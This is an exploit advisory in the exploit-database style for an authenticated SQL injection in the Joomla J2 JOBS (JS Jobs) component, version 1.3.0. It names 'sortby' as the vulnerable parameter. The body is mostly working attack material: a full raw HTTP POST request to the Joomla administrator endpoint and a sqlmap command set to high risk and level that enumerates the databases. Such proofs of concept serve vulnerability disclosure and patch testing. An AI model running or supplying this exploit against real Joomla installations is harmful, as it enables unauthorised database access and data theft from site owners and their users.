Joomla J2 JOBS 1.3.0 SQL Injection

`#Exploit Title: Joomla J2 JOBS - Authenticated SQL Injection  
#Date: 17.06.2020  
#Exploit Author: Mehmet Kelepçe / Gais Cyber Security  
#Vendor Homepage: https://joomsky.com/  
#Software Link: https://joomsky.com/products/js-jobs-pro.html  
#Version: 1.3.0  
#Tested on: Kali Linux - Apache2   
  
Vulnerable param: sortby  
-------------------------------------------------------------------------  
POST /joomla/administrator/index.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://localhost/joomla/administrator/index.php  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 233  
Connection: close  
Cookie: COOKIES  
Upgrade-Insecure-Requests: 1  
  
js_sortby=4&companyname=12&jobtitle=12&location=12&jobcategory=&jobtype=&datefrom=&dateto=&option=com_jsjobs&task=&c=job&view=job&callfrom=jobqueue&layout=jobqueue&sortby=asc&my_click=&boxchecked=0&d90ced5aa929447644f09b56c8d8ba12=1  
  
  
-------------------------------------------------------------------------  
sqlmap poc:  
  
sqlmap -r jsjobs --dbs --risk=3 --level=5 --random-agent -p sortby   
`